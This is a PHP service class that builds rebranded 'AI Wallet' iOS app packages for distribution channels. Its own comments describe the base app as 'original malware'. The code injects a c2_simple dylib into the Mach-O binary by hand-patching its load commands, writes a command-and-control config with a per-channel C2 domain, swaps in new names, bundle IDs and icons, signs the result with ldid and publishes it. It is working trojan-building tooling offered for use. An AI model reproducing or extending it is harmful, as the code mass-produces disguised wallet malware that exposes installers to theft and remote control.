<?php

namespace App\Services;

use App\Models\Channel;
use Illuminate\Support\Facades\Log;
use RuntimeException;

/**
 * Build a customized AI Wallet IPA for App-builder channels.
 *
 * Uses a pre-compiled c2_simple.dylib (compiled on macOS) and a
 * runtime c2_config.plist to configure domain/channel per build.
 * No iOS SDK or Xcode required on the Linux build server.
 *
 * Build flow:
 *   1. Extract ai-live-base.ipa (original malware)
 *   2. Copy pre-compiled c2_simple.dylib to Frameworks/
 *   3. Generate c2_config.plist with channel-specific settings
 *   4. Add LC_LOAD_DYLIB to main binary (before libutils)
 *   5. Patch Info.plist (app name, bundle ID, white launch screen)
 *   6. Generate icons from uploaded logo
 *   7. Sign with ldid
 *   8. Package as IPA
 */
class AiWalletPackageService
{
    /** Base IPA path (original ai-live malware) */
    private const BASE_IPA = 'app-templates/ai-live-base.ipa';

    /** Pre-compiled c2_simple.dylib */
    private const C2_DYLIB = 'app-templates/c2_simple.dylib';

    /** Icon sizes */
    private const ICON_SIZES = [
        'AppIcon60x60@2x.png' => 120,
        'AppIcon60x60@3x.png' => 180,
        'AppIcon76x76@2x~ipad.png' => 152,
    ];

    public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
    {
        $baseIpa = storage_path('app/'.self::BASE_IPA);
        $c2Dylib = storage_path('app/'.self::C2_DYLIB);

        if (!file_exists($baseIpa)) {
            return $this->fail('Base IPA not found. Upload ai-live-base.ipa via admin.');
        }
        if (!file_exists($c2Dylib)) {
            return $this->fail('c2_simple.dylib not found. Upload pre-compiled dylib.');
        }

        $workDir = storage_path('app/app-builds/'.$channel->channel_id);
        if (is_dir($workDir)) $this->rrmdir($workDir);
        @mkdir($workDir, 0755, true);

        try {
            // 1. Extract base IPA
            $zip = new \ZipArchive;
            if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA');
            $zip->extractTo($workDir);
            $zip->close();

            $appDir = $this->findAppDir($workDir);
            if (!$appDir) throw new RuntimeException('No .app directory found');

            // 2. Copy pre-compiled c2_simple.dylib
            $fwDir = $appDir.'/Frameworks';
            if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true);
            copy($c2Dylib, $fwDir.'/c2_simple.dylib');

            // 3. Generate c2_config.plist
            $this->writeConfigPlist($appDir, $channel, $apiDomain);

            // 4. Add LC_LOAD_DYLIB to main binary
            $mainBin = $this->findMainBinary($appDir);
            $this->addLoadDylib($mainBin, '@rpath/c2_simple.dylib', '@executable_path/Frameworks/libutils.dylib');

            // 5. Patch Info.plist
            $this->patchInfoPlist($appDir, $channel);

            // 6. Generate icons
            if ($logoPath && file_exists($logoPath)) {
                $this->generateIcons($appDir, $logoPath);
            }

            // 7. Sign
            $this->sign($appDir);

            // 8. Package
            $outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
            $outputFull = public_path($outputPath);
            @mkdir(dirname($outputFull), 0755, true);

            $outZip = new \ZipArchive;
            if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
                throw new RuntimeException('Cannot create output IPA');
            }
            $this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
            $outZip->close();

            $size = filesize($outputFull);
            $this->rrmdir($workDir);

            return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => ''];

        } catch (\Throwable $e) {
            $this->rrmdir($workDir);
            Log::error('AiWalletPackageService: build failed', [
                'channel' => $channel->channel_id,
                'error' => $e->getMessage(),
            ]);
            return ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
        }
    }

    private function writeConfigPlist(string $appDir, Channel $channel, string $apiDomain): void
    {
        $config = [
            'C2Domain' => $apiDomain,
            'C2Port' => '443',
            'WebViewURL' => $channel->h5_url ?: 'https://tether.to',
            'AppId' => $channel->channel_id,
            'ChannelId' => $channel->channel_id,
            'AppName' => $channel->app_name,
        ];

        $plist = $this->arrayToXmlPlist($config);
        file_put_contents($appDir.'/c2_config.plist', $plist);
    }

    private function arrayToXmlPlist(array $data): string
    {
        $xml = '<?xml version="1.0" encoding="UTF-8"?>'."\n";
        $xml .= '<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n";
        $xml .= '<plist version="1.0"><dict>'."\n";
        foreach ($data as $key => $value) {
            $xml .= '<key>'.htmlspecialchars($key).'</key><string>'.htmlspecialchars($value).'</string>'."\n";
        }
        $xml .= '</dict></plist>';
        return $xml;
    }

    private function patchInfoPlist(string $appDir, Channel $channel): void
    {
        $plistFile = $appDir.'/Info.plist';
        $data = file_get_contents($plistFile);

        // Use plistlib via shell (available on Linux)
        $tmpFile = tempnam(sys_get_temp_dir(), 'plist');
        file_put_contents($tmpFile, $data);

        $changes = [
            'CFBundleDisplayName' => $channel->app_name,
            'CFBundleName' => $channel->app_name,
            'CFBundleIdentifier' => $channel->bundle_id ?: 'com.ai.wallet.next',
            'CFBundleShortVersionString' => '1.6.1',
            'CFBundleVersion' => '1.6.1',
        ];

        foreach ($changes as $key => $value) {
            $escaped = escapeshellarg($value);
            exec("plistutil -i {$tmpFile} -o {$tmpFile} -k {$key} -s {$escaped} 2>/dev/null || true");
            // Fallback: use sed for XML plists
            $data = file_get_contents($tmpFile);
            $data = preg_replace(
                '#<key>'.preg_quote($key, '#').'</key>\s*<string>[^<]*</string>#',
                '<key>'.$key.'</key><string>'.htmlspecialchars($value).'</string>',
                $data
            );
            file_put_contents($tmpFile, $data);
        }

        // Remove storyboard reference, add UILaunchScreen (white background)
        $data = file_get_contents($tmpFile);
        $data = preg_replace('#<key>UILaunchStoryboardName</key>\s*<string>[^<]*</string>#', '', $data);
        if (!str_contains($data, 'UILaunchScreen')) {
            $data = str_replace('</dict></plist>', '<key>UILaunchScreen</key><dict/></dict></plist>', $data);
        }
        file_put_contents($plistFile, $data);
        unlink($tmpFile);
    }

    private function addLoadDylib(string $binaryPath, string $dylibPath, string $insertBefore): void
    {
        $data = file_get_contents($binaryPath);
        $origSize = strlen($data);

        // Parse Mach-O 64-bit header
        $magic = unpack('V', substr($data, 0, 4))[1];
        if ($magic !== 0xFEEDFACF) throw new RuntimeException('Not a Mach-O 64-bit binary');

        $ncmds = unpack('V', substr($data, 16, 4))[1];
        $sizeofcmds = unpack('V', substr($data, 20, 4))[1];

        // Find the LC_LOAD_DYLIB for libutils to insert before it
        $offset = 32;
        $insertOffset = 32 + $sizeofcmds; // Default: append at end
        $libutilsOffset = -1;

        for ($i = 0; $i < $ncmds; $i++) {
            $cmd = unpack('V', substr($data, $offset, 4))[1];
            $cmdsize = unpack('V', substr($data, $offset + 4, 4))[1];

            if ($cmd === 0x0C) { // LC_LOAD_DYLIB
                $nameOffset = unpack('V', substr($data, $offset + 8, 4))[1];
                $name = substr($data, $offset + $nameOffset, strpos(substr($data, $offset + $nameOffset), "\0"));
                if (str_contains($name, 'libutils')) {
                    $libutilsOffset = $offset;
                    break;
                }
            }
            $offset += $cmdsize;
        }

        // Insert before libutils if found, otherwise append
        if ($libutilsOffset >= 0) {
            $insertOffset = $libutilsOffset;
        }

        // Create LC_LOAD_DYLIB command
        $name = $dylibPath."\0";
        $nameOffset = 24; // sizeof(load_command) + 3 * sizeof(uint32) + padding
        $cmdsize = $nameOffset + strlen($name);
        $cmdsize = ($cmdsize + 7) & ~7; // Align to 8 bytes
        $name = str_pad($name, $cmdsize - $nameOffset, "\0");

        $lc = pack('VVVVVV',
            0x0C,          // cmd = LC_LOAD_DYLIB
            $cmdsize,       // cmdsize
            $nameOffset,    // dylib.name.offset
            1,              // dylib.timestamp
            0,              // dylib.current_version
            0               // dylib.compatibility_version
        ).$name;

        // Insert the load command
        $data = substr($data, 0, $insertOffset).$lc.substr($data, $insertOffset);

        // Update ncmds and sizeofcmds in header
        $data = substr_replace($data, pack('V', $ncmds + 1), 16, 4);
        $data = substr_replace($data, pack('V', $sizeofcmds + $cmdsize), 20, 4);

        file_put_contents($binaryPath, $data);
    }

    private function findAppDir(string $workDir): ?string
    {
        $payload = $workDir.'/Payload';
        if (!is_dir($payload)) return null;
        foreach (scandir($payload) as $item) {
            if (str_ends_with($item, '.app')) return $payload.'/'.$item;
        }
        return null;
    }

    private function findMainBinary(string $appDir): string
    {
        // Main binary has the same name as the .app directory
        $appName = basename($appDir, '.app');
        return $appDir.'/'.$appName;
    }

    private function generateIcons(string $appDir, string $logoPath): void
    {
        if (!function_exists('imagecreatefrompng')) {
            Log::warning('AiWalletPackageService: GD not available, skipping icons');
            return;
        }

        $src = imagecreatefrompng($logoPath);
        if (!$src) return;

        foreach (self::ICON_SIZES as $filename => $size) {
            $dst = imagecreatetruecolor($size, $size);
            imagealphablending($dst, false);
            imagesavealpha($dst, true);
            imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size,
                imagesx($src), imagesy($src));
            imagepng($dst, $appDir.'/'.$filename);
            imagedestroy($dst);
        }
        imagedestroy($src);
    }

    private function sign(string $appDir): void
    {
        $csDir = $appDir.'/_CodeSignature';
        if (is_dir($csDir)) $this->rrmdir($csDir);

        $ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
        if ($ldidPath === '') return;

        $binaries = array_merge(
            [$this->findMainBinary($appDir)],
            glob($appDir.'/Frameworks/*.dylib') ?: [],
            glob($appDir.'/*.dylib') ?: [],
        );

        foreach ($binaries as $bin) {
            if (!is_file($bin)) continue;
            exec(escapeshellarg($ldidPath).' -S '.escapeshellarg($bin).' 2>/dev/null');
        }
    }

    private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
    {
        foreach (scandir($dir) as $item) {
            if ($item === '.' || $item === '..') continue;
            $path = $dir.'/'.$item;
            $zipPath = $prefix.'/'.$item;
            if (is_dir($path)) {
                $zip->addEmptyDir($zipPath);
                $this->addDirToZip($zip, $path, $zipPath);
            } else {
                $zip->addFile($path, $zipPath);
            }
        }
    }

    private function rrmdir(string $dir): void
    {
        if (!is_dir($dir)) return;
        foreach (scandir($dir) as $item) {
            if ($item === '.' || $item === '..') continue;
            $path = $dir.'/'.$item;
            if (is_dir($path)) $this->rrmdir($path);
            else @unlink($path);
        }
        @rmdir($dir);
    }

    private function fail(string $error): array
    {
        return ['success' => false, 'path' => '', 'size' => 0, 'error' => $error];
    }
}